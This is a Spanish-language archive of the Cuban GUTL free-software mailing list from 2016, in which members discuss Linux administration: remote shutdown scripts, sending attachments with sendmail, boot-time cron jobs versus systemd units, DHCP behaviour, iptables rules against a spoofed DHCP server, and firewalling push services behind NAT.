[Gutl-l] Re: Apagar sistema operativo remotamente
A ver, en linux creas un usuario llamado apagar: useradd -s /usr/local/bin/apagar En esa ruta creas tu script de apagado donde tomes precaucion de cerrar tareas y demas, y das al script permisos de ejecucion agregas el usuario al grupo poweroff (si mal no recuerdo): usermod -aG poweroff apagar Luego en windows creas un .bat o .cmd con la invocacion de putty con los parametros apropiados Todo esto te lo digo de memoria pero yo lo use en el CIPS p que en la direccion pudieran apagar el server en caso q yo no estuviera y hubiera tronadas y eso -- Enviado desde mi teléfono Android con GMX Mail. Por favor, disculpe mi brevedad. ___ Gutl-l mailing list -- gutl-l@listas.jovenclub.cu To unsubscribe send an email to gutl-l-le...@listas.jovenclub.cu
Re: [Gutl-l] Enviar mensaje con un adjunto, desde la línea de comandos
On Tue, 20 Sep 2016 13:39:21 -0400, Alberto José García Fumero wrote: Bueno, como parece que estamos un poco "mosqueados" en estos días, aprovecho y lanzo una pregunta. Espero que la secuela sea interesante... En ocasiones necesitamos hacer cosas como como esta que menciono en la línea de asunto de este mensaje; por ejemplo en algún script de monitoreo. El problema está en que para poder enviar como adjunto un fichero binario, necesitamos manipularlo. No puede ser enviado tal cual. Una solución que uso es codificarlo primero con uuencode. Así los códigos por encima de ASCII 127 serán “empaquetados” de manera que puedan ser enviados (y decodificados al llegar a destino). El programa uuencode lo encontramos (al menos en este Debian 6) en el paquete sharutils. Una vez instalado el paquete, podemos preparar una línea de comando como: uuencode download_2.gif download_2.gif | /usr/sbin/sendmail destinata...@minodo.cu Con esto aseguramos que se envíe el fichero download2.gif. El “pipìng” asegura que la salida del comando uuencode le sea pasada como parámetro a nuestro MTA (debemos tener uno instalado). No nos extrañemos de encontrar ese sendmail ahí; realmente es una llamada a nuestro MTA, el que sea que tengamos. Existe un link de compatibilidad en nuestro Postfix/Exim precisamente para poder hacer estas cosas. Ahora bien, a esta solución me gustaría poderle poner que el mensaje tenga una línea de asunto, pero no lo he logrado. ¿Alguien puede sugerirme una idea? (no me funciona ponerle un -s 'línea de asunto, por cierto). En Debian y derivadas (probablemente también en otras distribuciones) existe un paquete llamado "sendemail" (no confundir con sendmail), que sospecho tiene todo lo que puedes necesitar. Basta con instalarlo y echar una ojeada a estos comandos: sendemail --help sendemail --help misc El paquete es diminuto y tiene muy pocas dependencias. Saludos, Hugo __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Dudas con DHCP
On Mon, 5 Sep 2016 11:22:18 -0400, rlsalgue...@topesdecollantes.co.cu wrote: Hugo deberías hacerlo, de hecho es lo que hago tengo varios archivos md en los que tengo varios temas cuando estoy configurando algo hago mi archivito markdown y explico todo como para mi primito de 10 años tengo algunos clásicos como Linuxhacks.md en el que tengo como configurar proxy otras simples como sustituir cadenas en vim y asi cualquier cosa que se me ocurra poner de hecho tenfo el título de configuración de red ah y todo lo hago con las variantes para Debía|RedHat que son los "padres" más usados en caso de ser necesario como por ejemplo la ubicación del fichero de configuración de la red Eso es porque llevo un tiempo pensando hacerme un blog o cooperar con alguno siempre que acepten mi texto .md Claro que tus aportes serán bienvenidos, podrías ponerlos en la wiki. Yo ya estoy preparando el artículo sobre un cortafuegos con NAT, lo colocaré en la wiki en cuanto esté en un estado razonablemente terminado. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Duda sobre crontab y reinicio
On Tue, 6 Sep 2016 15:08:07 -0500, Yoander Valdés Rodríguez wrote: Mi objetivo no es ofender a nadie sino reflexionar, a veces no podemos ser esquemáticos porque nos perdemos lo principal ;) No me parece que hayas ofendido a nadie, aunque evidentemente reflexionamos de manera diferente ;) Por ejemplo, en este caso no se que es para ti lo principal. Para mi es el intercambio argumentado y respetuoso en torno a las tecnologías libres, y las escasas observaciones que hago de cumplir las normas son solo cuando veo que la tendencia natural del cubano a relajarse podría malinterpretarse y se activa alguno de mis flags de alerta. Podría decirse que es un "reflejo condicionado" :) __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Duda sobre crontab y reinicio
On Mon, 5 Sep 2016 07:54:49 -0400, Arian Molina Aguilera wrote: Y que tiene de malo esto, por favor, Hugo no exageren, que los tiempos cambian. Que no es para tanto por dios. Con esas mentalidades nunca llegaremos a ninguna parte. Buenos días. Salu2. Puede que tengas razón, pero la supuesta "ganancia" de enlazar a artículos con poca o ninguna moderación en el lenguaje me pesa menos que el riesgo de pérdida de los servicios que con esfuerzo hemos logrado y que intentamos mantener, a veces contra corriente. Los tiempos podrán cambiar, pero ello no implica necesariamente que lo mismo ocurra con las personas que toman las decisiones, ¿para qué entonces arriesgarnos innecesariamente? Si la tercera norma de la lista prohibe las "expresiones malsonantes" (eufemismo para malas palabras), debería resultar evidente que enlazar PUBLICAMENTE a un artículo "jocosamente coloreado" por estas, no es muy adecuado que digamos. Deseo que conste que conozco personalmente a Lázaro, hemos compartido juntos, se como es, y me rio con sus ocurrencias, pero una cosa es relajarse entre socios y otra usar medios proporcionados por el estado para escribir o enlazar a escritos que puede ver cualquiera con cualquier tipo de prejuicios. Al menos este es mi punto de vista, como coordinador de GUTL y uno de los actuales administradores de sus servicios, entenderán que no puedo dejar de preocuparme un poco por estas cosas. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Duda sobre crontab y reinicio
On Fri, 2 Sep 2016 09:30:15 -0400, låzaro wrote: A ver, hugo, mira esto: http://uranio-235.github.io/blog/2015/11/12/rc-dot-local-en-systemd/ a ver si te ayuda a enfocarte Gracias, pero ojo: aunque tu blog esté hospedado en github y obviamente sea personal, enlazar desde esta lista a un artículo cargado de "palabras pintorescas" podría tener repercusiones negativas para el grupo (recordar precedentes con Shanon), ese tipo de enlaces es mejor mandarlos en privado, o idealmente mejor aun sería hacer un poco de uso de autocontrol sobre el lenguje antes de publicar (hacer público) ;) __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Servidor de correo
On Fri, 2 Sep 2016 13:13:43 -0400, Yuniel Gonzalez wrote: Hola amigos, en mi empresa usan mdaemon como solución de correo estoy tratando de migrar a software libre pero no encuentro que montar. Si alguien tiene alguna variante con documentación por favor le agradecería la ayuda, saludos Yuniel Para matar y salar rápido yo usé una vez Zentyal. El inconveniente viene a la hora de personalizarlo o asegurarlo al gusto, pero como paso de transición podría servirte. Lo ideal sería montar y personalizar manualmente Postfix o Exim, Dovecot, Roundcube o Squirrelmail, etc. En el pasado FLISoL Leslie dio una charla bastante completa sobre como montar un servidor de correo, lo que no recuerdo ahora donde podria encontrarse online, no se si llego a subirse al portal. Si alguien mas puede enviar el enlace ... __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Duda con acceso remoto
On Thu, 1 Sep 2016 08:46:53 -0400, Daniel Morfa wrote: Hola lista tengo una duda, mi empresa consta con el servicio de acceso remoto desde un modem actualmente lo tienen configurado con un servicio de windows contra el AD pero bueno lo quiero migrar a alguna solución en software libre si alguien tiene idea de alguna se lo agradecería. Si mal no recuerdo en nuestra wiki hay artículos relacionados que podrían servirte, revisa. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Dudas con DHCP
On Thu, 01 Sep 2016 22:17:46 -0400, Ulises González Horta wrote: El jue, 01-09-2016 a las 16:30 -0400, Alberto José García Fumero escribió: > En fin, me dicen si les parece interesante. Ya tienes mi voto a favor. jajaj, así que hablar en coreano Fumero Fumero, usted es mi profe, pero a mis alumnos siempre les recomiendo estas cosas como lecturas obligadas RFC 1918 RFC 3330 Tcp addressing and Subneting Samba 3 por ejemplos Son libros que ayudan demás ( ayudan más que mucho) De cualquier forma cuando alguien sienta que se habla en coreano please siéntase libre de pedir traducción al español de bodega... No hay nada más jodido que no entender lo que te dice un médico Por cierto, el documento RFC 3330 fue reemplazado por el 5735 y este a su vez por el 6890, que es la versión actualizada. En general es buena práctica estudiarse los RFC relacionados a los servicios que uno vaya a implementar (hay algunos que incluso ilustran como evitar errores frecuentemente cometidos), y esto es especialmente importante a la hora de desarrollar aplicaciones de servicios. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Duda sobre crontab y reinicio
On Thu, 01 Sep 2016 21:51:28 -0400, Servilio Afre Puentes wrote: On Wed, Aug 31 2016, Hugo Florentino wrote: [...] De momento estoy resolviendo con esto, pero me disgustan las soluciones poco elegantes, me recuerdan a los muñequitos aquellos eslavos de los chapuzos: @reboot sleep 45s; /usr/local/bin/miscript ¿Por qué los 45s de espera? Porque en caso contrario hay subsistemas que aun no han cargado y el script no corre bien. Justamente por esta espera arbitraria decía que me parecía una solución poco elegante. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Dudas con DHCP
On Thu, 01 Sep 2016 11:16:48 -0400, Alberto José García Fumero wrote: Me encanta oírlos hablar en coreano, a tí y a Ulises... ;-) La lista de cosas que por lo visto debo estudiar va siendo más larga que esperanza de pobre... Quizas sea que estos temas se ventilan poco entre los no-paranoicos de la seguridad, jejeje. Como algunas protecciones básicas con iptables y otras cosillas no son difíciles de lograr pero no por ello se implementan, estaba valorando hacer un tuto en la wiki para dejar las cosas razonablemente mascadas, igual luego me sirve como recordatorio, porque generalmente olvido todo lo que implemento si no lo reviso regularmente, asi que probablemente sea mejor volcar las cosas a texto mientras aun estan frescas en mi mente. En fin, me dicen si les parece interesante. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Dudas con DHCP
On Wed, 31 Aug 2016 23:57:26 -0400, Ulises González Horta wrote: El mié, 31-08-2016 a las 16:48 -0400, Hugo Florentino escribió: pero me entró la duda de si podría darse un caso válido de broadcast por parte del servidor. Pues no... creo que haker de charcos de h2O dulce estudió mal el protocolo DHCP o lo esta confundiendo con SMB/CIFS y piensa que todo lo que usa UDP tiene que hacer broadcast.., lo jodido es que si se trata de una WIFI pudiera conseguir un DOS por saturación del canal... pero bueno con bloquearle la mac tienes bastante, ya esa tarea te la dejo para tu nueva regla de iptables if broadcast udp:67 o 68 then drop source-mac y que se vaya a comer mangos a otra parte El servidor tiene los servicios DHCP y DNS como autoritarios, y además tiene su buena dosis de reglas elementales en iptables para evitar cosas raras, podría preparar un tutorial en la wiki al respecto si hay interés. No obstante, lo que me llama la atención es que los paquetes estén llegando en primer lugar, ya que el AP tiene puesto un dd-wrt al cual entre otras cosas le puse esto: rc_firewall='iptables -t raw -A PREROUTING -s 192.168.0.1/32 -m mac ! --mac-source 1a:2b:3c:4d:5e:6f -j DROP && iptables -t raw -A PREROUTING ! -s 192.168.0.1/32 -p udp -m udp --sport 67 -j DROP' Quizás los paquetes estén llegando de todas formas porque el AP tiene un bridge entre WLAN Y LAN, de modo que está funcionando mas bien como switch, si siguen los intentos estoy valorando quitar el bridge y además habilitar la opción AP isolation, aunque quizas eso cree problemas para acceder a una impresora inalámbrica. En fin, que tengo para entretenerme durante un buen rato. ;) __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Sobre servicios tipo Push
On Wed, 31 Aug 2016 23:52:58 -0400, Ulises González Horta wrote: El mié, 31-08-2016 a las 20:41 -0400, Arian Molina Aguilera escribió: ni tampoco ipv6 en cuba, todavía están en estudios y fases de prueba, de madre lo nuestro. y es lo que te explicab Hugo, creo que en esto es demasiado paranoico, tal y como dices si los permites luego no sabes a quien dárselo y en ese caso solo vas a lograr tener tráfico que como mínimo le dará más trabajo innecesario a tu FW, así que los bloqueas y terminamos con este debate ajajjajaja Es como ha estado hasta ahora, lo que las trazas me hicieron preguntarme si sería técnicamente factible habilitar el servicio push. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Sobre servicios tipo Push
On Wed, 31 Aug 2016 16:40:50 -0400, Arian Molina Aguilera wrote: hugo no te machaques tanto el coco, eso es por gusto, no es posible lo que quieres, en nuestras redes nateadas, con lan privadas, no es posible hacer push a todos los clientes de la lan, con firewall tan celosos de por medio, como los que configuras con iptables. Como tu mismo lo analizas, si no hay un tráfico previamente de salida, que relaciones a tus clientes con conexiones entrantes, no hay forma de que hagas un port forward de todo lo que venga push a dichos clientes, en estas redes eso no es posible. Salu2. Es cierto que mi configuración de los cortafuegos suele ser un poco paranoica, pero segun veo (y me argumentan si me equivoco), incluso de configurarse el cortafuegos de forma sumamente permisiva, una vez que el paquete llegue al cortafuegos procedente del servidor externo, no se sabrá con seguridad a quien reenviarlo si no existe tráfico relacionado previo. Unicamente en el caso de una red con tantas ips externas como clientes usando el servicio habría suficiente certeza como para hacer un NAT 1:1, pero en caso contrario lo único que podría hacerse es un broadcast hacia la LAN y eso no solo es ineficiente (e inseguro) sino que ademas no sirve para todo. Creo que incluso de usarse un proxy, el problema sería el mismo. En fin, que no parece que el tráfico push sea muy compatible con redes ipv4 como las que aun abundan por aca, quizas con ipv6 exista la forma de que la cosa funcione, pero no he tenido chance ni necesidad de sumergirme a estudiarlo. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Dudas con DHCP
On Wed, 31 Aug 2016 11:50:22 -0400, Ulises Gonzalez wrote: On 08/31/2016 11:30 AM, Hugo Florentino wrote: Otra cosa: ¿Es válido que un servidor de DHCP haga difusiones a la dirección global (digamos, "anunciando" el servicio) sin haber recibido petición alguna? Esto nunca lo he visto.. en este caso yo diria que la respuesta es no, que me corrija alguien con bases solidas, Es lo que suponía. Sucede que esto esta ocurriendo en la Wifi de unos conocidos, y aparentemente hay algun aprendiz de hacker que intenta ponerse la dirección del servidor DHCP y enviar un broadcast quizas en esperas de que algun cliente se conecte con el y le pase detalles de la red, etc. Igual no lo conseguirá porque puse unas reglas contra posibles intentos de IP spoofing, pero me entró la duda de si podría darse un caso válido de broadcast por parte del servidor. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Duda sobre crontab y reinicio
On Tue, 30 Aug 2016 21:03:17 -0400, Servilio Afre Puentes wrote: On Fri, Aug 26 2016, Hugo Florentino wrote: On Thu, 25 Aug 2016 12:08:57 -0400, låzaro wrote: preguntaste cuando se ejecutaba el cron, ahí estás viendo cuando se ejecuta cada servicio durante el arranque De acuerdo, y si pongo una tarea con @reboot donde caería? Donde esté crontab, ahí es dónde se inician (o poco después). Otros servicios pueden arrancarse mientras esa tarea se corre, o entre el arranque de crontab y la corrida de tu tarea. La única forma de asegurar un orden en el arranque para una tarea es creando una unidad con las entradas apropiadas del tipo "After/Before" y "*Require*". Hmm... lo que suponía, hay que meterse en el fanguizal de systemd. De momento estoy resolviendo con esto, pero me disgustan las soluciones poco elegantes, me recuerdan a los muñequitos aquellos eslavos de los chapuzos: @reboot sleep 45s; /usr/local/bin/miscript En fin, no me queda otro remedio que estudiar la creación de unidades cuando tenga un tiempo libre :( __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Sobre servicios tipo Push
On Wed, 31 Aug 2016 11:39:12 -0400, Ulises Gonzalez wrote: On 08/31/2016 11:32 AM, Hugo Florentino wrote: En cualquier caso, ¿qué debería hacerse para permitir a los clientes de una red local saliendo mediante NAT el acceso a servicios tipo push? Normalmente en este caso lo que se hace es que se deja abierto el puerto en el FW, es lo que siempre hacemos para servidores web, y correo smtp, pero huelo a que tienes un caso raro, que te pasa exactamente?? Es que los servicios no estarían en el servidor de la red local, la idea es que los clientes de la red local tengan acceso a servicios push externos. Supongamos que tengo paquetes nuevos supuestamente provenientes de bloques de direcciones de Google desde los puertos udp/53, tcp/80 o tcp/443 con destino a un puerto no privilegiado en la dirección ip externa del cortafuegos, en este caso son descartados por una regla que tengo para todo paquete que venga de un puerto privilegiado con estado nuevo. Pero en ocasiones Google utiliza servicios push que podrían estar siendo detenidos por esta regla. No obstante, como el cortafuegos en si no navega (excepto para update/upgrade) y además tiene políticas de denegación por defecto, los únicos puertos que tiene abiertos son aquellos donde hay servicios o que el equipo abre puntualmente para establecer conexiones con el exterior, por lo demás solo reenvía el tráfico entre los clientes y el exterior. De modo que estos paquetes provenientes de Google solo podrían estar destinados a clientes de la red local, que por cierto utiliza direcciones reservadas de clase C. Lo curioso es que si permito que el cortafuegos reenvíe hacia la red local cualquier paquete nuevo proveniente de Google digamos desde los puertos 80 y 443, de todas maneras los paquetes son descartados porque el rastreo de conexiones no ha visto tráfico reciente relacionado entre ningun cliente y Google, de modo que el cortafuegos no sabe a quien reenviarlos. Algo parecido sucede con paquetes provenientes desde direcciones de Yahoo con el puerto de origen tcp/5050, y desde otras direcciones como las redes de IMO con los puertos de origen tcp/5223 o 5228, etc. De modo que si creo una regla que acepte en las cadenas INPUT y FORWARD cualquier paquete nuevo proveniente de esos puertos, no solo será por gusto, sino que además estaré creando una vulnerabilidad innecesaria porque muchas redes maliciosas envían paquetes nuevos desde puertos privilegiados con la esperanza de encontrar un cortafuegos mal configurado que permita su paso. Todo esto lo digo basado solo en análisis de trazas y deducción, no es que esté 100% seguro de que es lo que realmente ocurre. Saludos, Hugo __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
[Gutl-l] Sobre servicios tipo Push
Hola colegas, Una buena parte de los servicios funciona bajo el principio Pull (halar), es decir, el cliente hace una petición y el servidor le entrega una respuesta. Cuando existe una red local donde los clientes acceden a servicios externos mediante NAT, configurar el cortafuegos para permitir el acceso es relativamente sencillo. Sin embargo, en el caso de un servicio Push (empujar), la cosa se complica, porque (a menos que me equivoque, y me aclaran de ser el caso) el servidor remoto enviaría a la dirección ip externa de la red un paquete nuevo y como el cortafuegos obviamente no tendría aun en el rastreo de conexiones tráfico relacionado con esa nueva conexión en particular, lo mas seguro es que no sepa a quién reenviar el paquete. En cualquier caso, ¿qué debería hacerse para permitir a los clientes de una red local saliendo mediante NAT el acceso a servicios tipo push? Saludos, Hugo __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
[Gutl-l] Dudas con DHCP
Hola colegas, Para que un cliente con una dirección IP de una subred clase C, solicite una renovación correctamente, cual (o cuales y en que orden) de estas cosas debería intentar? a) Enviar una petición desde la dirección 0.0.0.0 a la dirección de difusión global b) Enviar una petición desde su dirección IP a la dirección de difusión global c) Enviar una petición desde su dirección IP a la dirección de difusión de la subred d) Enviar una petición desde su dirección IP a la dirección del servidor DHCP de la subred Otra cosa: ¿Es válido que un servidor de DHCP haga difusiones a la dirección global (digamos, "anunciando" el servicio) sin haber recibido petición alguna? Saludos, Hugo __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Duda sobre crontab y reinicio
On Thu, 25 Aug 2016 12:08:57 -0400, låzaro wrote: preguntaste cuando se ejecutaba el cron, ahí estás viendo cuando se ejecuta cada servicio durante el arranque De acuerdo, y si pongo una tarea con @reboot donde caería? Porque no estoy familiarizado con esas unidades y no se cual de ellas corresponda a lo que me interesa. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Ayuda con centralizacion de nodos
On Wed, 24 Aug 2016 10:03:09 -0430, Francisco R. Díaz Ortíz wrote: Saludos: Colega Alberto. Me disculpo si no fui muy claro en la explicacion, necesito montarlo en linux epero yo probe con ipcop pero no logre dar pie con vola en ese asunto, tambien intente con win2 server 2003 pero nada, mi interes es montarlo en linux pero no se como el asunto es que tengo varios secmentos de la red, una con 18 pc, otra con 15 y una de 8. donde cada uno de esos secmentos tiene sis propios servicios, como ejemplo un ftp, una web y cosas asi y un chat interno ahora necesito hacer la manera de que uniendo esas redes, ninguno de los chat internos via udp se vean, y que nadie de otro secnebto pueda entrar en los servicios del otro, es centralisar la red en un solo punto, y ese punto determine a donde va el trafico, he buscado en internet sobre este asunto y hacen referencia muy pobre sobre el asunto menciones mil dos soluciones pero ninguna segun los comentarios logro funcionar. Me parece que te estás complicando innecesariamente. Tus requerimientos actuales no justifican utilizar el mismo bloque 192.168.0.0/16 (como dices en un mensaje posterior) compartido para todos, especialmente cuando quieres separación de servicios. Bien podrías separar los segmentos de red en direcciones 192.168.x.0/24 y aun así tendrías disponibles 253 direcciones para cada segmento. Ahora, si 253 direcciones te parecen pocas, cambia a la clase A, y utiliza para tus segmentos direcciones 10.x.0.0/16 y tendrás disponibles hasta 256 segmentos de más de 65000 direcciones cada uno. El resto es solo confiurar el cortafuegos apropiadamente, y no deberías necesitar trastear mucho los servicios. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Sobre el robo de hilos y otras hierbas
On Wed, 24 Aug 2016 11:58:49 -0400, Ulises Gonzalez wrote: On 08/24/2016 11:30 AM, Hugo Florentino wrote: Colegas, Por favor, no roben hilos, esto es una violación de las normas de uso de la lista (que no pueden alegar que desconocen, porque recientemente las envié a la lista). Para ser claros: si se pretende crear un nuevo hilo o pregunta, hágase SIN responder, debe CREARSE un NUEVO mensaje. Recomendamos además evitar responder a un mensaje en un hilo ajeno excepto para notificar sobre la infracción, porque de responderse se alienta el comportamiento incorrecto. Sabes lo que pasa con esto Hugo (y dem'as administradores) que lo usuarios que escriben desde clientes windows no Thunderbird por lo general no saben que es un hilo de respuestas y por ello muchas veces cuando le llega un correo como este no saben de lo que le estamos hablando pues no les pasa a ellos, no creo que sea una falta de consideraci'on, si no en parte una falta de conocimiento Cierto Ulises, Por eso justamente he recordado las normas y explicado brevemente por qué no hacer preguntas respondiendo a un mensaje cualquiera. Aunque no se entienda del todo, no puede decirse que sea una norma difícil de cumplir, de modo que no podrá decirse luego que si un usuario infringe las normas y se pasa a moderación será por no haberse informado. Obviamente que los administradores y moderadores de GUTL tenemos mejores cosas que hacer con nuestro escaso tiempo libre que estar moderando a nadie, lo cual es bastante fastidioso para nosotros también, de modo que lo mejor para todos es que simplemente se cumplan las normas. En cualquier caso, en GUTL estamos abiertos al diálogo respetuoso y bien argumentado, de manera que si hay alguna norma poco razonable, puede debatirse y modificarse de ser necesario, aunque francamente no son tantas, son fáciles de cumplir y una buena parte resulta bastante obvia y común para una lista de correos. Saludos, Hugo __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] [Off-topic] Error sitio GUTL
On Wed, 24 Aug 2016 13:46:45 -0400, nun...@infomed.sld.cu wrote: EL portal esta dando error, con el certificado de seguridad gutl.jovenclub.cu usa un certificado de seguridad no válido. El certificado no será válido hasta miércoles, 24 de agosto de 2016 03:00. La fecha y hora actual es miércoles, 24 de agosto de 2016 01:47. Código de error: MOZILLA_PKIX_ERROR_NOT_YET_VALID_CERTIFICATE Saludo Alejandro Lamentablemente no gestionamos personalmente los servidores, sino que lo socicitamos a los colegas de Tino y quizas a su vez ellos tengan límites en lo que pueden hacer con servicios que están actualmente en la nube de Etecsa. A estas alturas el certificado debería ser válido, pero es buena la salvedad para todos que no deben crearse certificados con fechas y horas que aun no han llegado, ni siquiera para redondear. Gracias de todas maneras por reportar el problema, averiguaremos al respecto en cuanto se nos presente la oportunidad. Saludos, Hugo __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Duda con persistencia de sysctl.conf
On Wed, 24 Aug 2016 14:18:17 -0400, Arian Molina Aguilera wrote: bueno te acabo de hacer la prueba, la primera vez fallo, no cargo el modulo, nf_conntrack_ipv4, por lo que lo puse para que cargará al inicio y así si funciono. En ese caso evidentemente es un error de este sistema en particular. Gracias por la ayuda. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
[Gutl-l] Sobre el robo de hilos y otras hierbas
Colegas, Por favor, no roben hilos, esto es una violación de las normas de uso de la lista (que no pueden alegar que desconocen, porque recientemente las envié a la lista). Para ser claros: si se pretende crear un nuevo hilo o pregunta, hágase SIN responder, debe CREARSE un NUEVO mensaje. Recomendamos además evitar responder a un mensaje en un hilo ajeno excepto para notificar sobre la infracción, porque de responderse se alienta el comportamiento incorrecto. Puede que suene fastidioso que se insista en esto, pero muchos de nosotros configuramos nuestros clientes de correo para mostrar los mensajes organizados por hilos, y es bastante molesto estar abriendo todos los hilos solo para verificar si hay nuevos mensajes ajenos a los diferentes hilos. Muchos usuarios nuevos sencillamente tienen malos hábitos y necesitan comprender que seguir las normas de este servicio que GUTL en coordinación con los JCCE ofrecen gratuitamente, es un "sacrificio" insignificante a cambio de los beneficios que otorga. Además, nótese que los moderadores pueden poner temporal o permanentemente a los infractores de esta norma (y las demás) en modo moderado o incluso suspender las suscripciones en el caso de infracciones reiteradas o graves, asi que evidentemente es mucho mejor ahorrarnos todos las molestias que esto genera y simplemente seguir las normas, ¿si? Es todo, disculpen la muela ;) Saludos, Hugo __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Duda sobre crontab y reinicio
On Tue, 23 Aug 2016 15:11:35 -0400, Servilio Afre Puentes wrote: [...] Si estás corriendo con systemd, creo esto te da esta información: $ systemctl list-dependencies --after cron.service Si entendí bien, entonces aparentemente casi todo carga antes (los asteriscos que están entre paréntesis equivaldrían a los puntos rojos): cron.service * ├─system.slice * ├─systemd-journald.socket * └─basic.target * ├─paths.target * │ ├─acpid.path * │ ├─systemd-ask-password-console.path * │ └─systemd-ask-password-wall.path * ├─slices.target * │ ├─-.slice * │ ├─system.slice * │ └─user.slice * ├─sockets.target * │ ├─acpid.socket * │ ├─syslog.socket * │ ├─systemd-initctl.socket * │ ├─systemd-journald-dev-log.socket * │ ├─systemd-journald.socket * │ ├─systemd-shutdownd.socket * │ ├─systemd-udevd-control.socket * │ └─systemd-udevd-kernel.socket * ├─sysinit.target * │ ├─console-setup.service (*) │ ├─debian-fixup.service * │ ├─dev-hugepages.mount * │ ├─dev-mqueue.mount * │ ├─ebtables.service (*) │ ├─emergency.service * │ ├─kbd.service * │ ├─keyboard-setup.service * │ ├─kmod-static-nodes.service * │ ├─mdadm-raid.service * │ ├─networking.service * │ ├─proc-sys-fs-binfmt_misc.automount * │ ├─sys-fs-fuse-connections.mount (*) │ ├─sys-kernel-config.mount * │ ├─sys-kernel-debug.mount (*) │ ├─systemd-binfmt.service * │ ├─systemd-journald.service * │ ├─systemd-modules-load.service * │ ├─systemd-random-seed.service (*) │ ├─systemd-readahead-collect.service (*) │ ├─systemd-readahead-replay.service * │ ├─systemd-sysctl.service * │ ├─systemd-tmpfiles-setup-dev.service * │ ├─systemd-tmpfiles-setup.service * │ ├─systemd-udev-settle.service * │ ├─systemd-udev-trigger.service * │ ├─systemd-udevd.service * │ ├─systemd-update-utmp.service * │ ├─cryptsetup.target (*) │ │ └─lvm2-activation-early.service (*) │ ├─emergency.target (*) │ │ └─emergency.service * │ ├─local-fs.target * │ │ ├─-.mount (*) │ │ ├─dm-event.service * │ │ ├─home.mount (*) │ │ ├─lvm2-activation-early.service (*) │ │ ├─lvm2-activation.service * │ │ ├─lvm2-monitor.service * │ │ ├─mdadm-raid.service (*) │ │ ├─systemd-fsck-root.service * │ │ ├─systemd-remount-fs.service * │ │ ├─tmp.mount * │ │ ├─var.mount * │ │ └─local-fs-pre.target * │ │ ├─systemd-remount-fs.service * │ │ └─systemd-tmpfiles-setup-dev.service * │ └─swap.target * │ ├─dev-disk-by\x2did-scsi\x2d35000c50056d6134f\x2dpart2.swap * │ 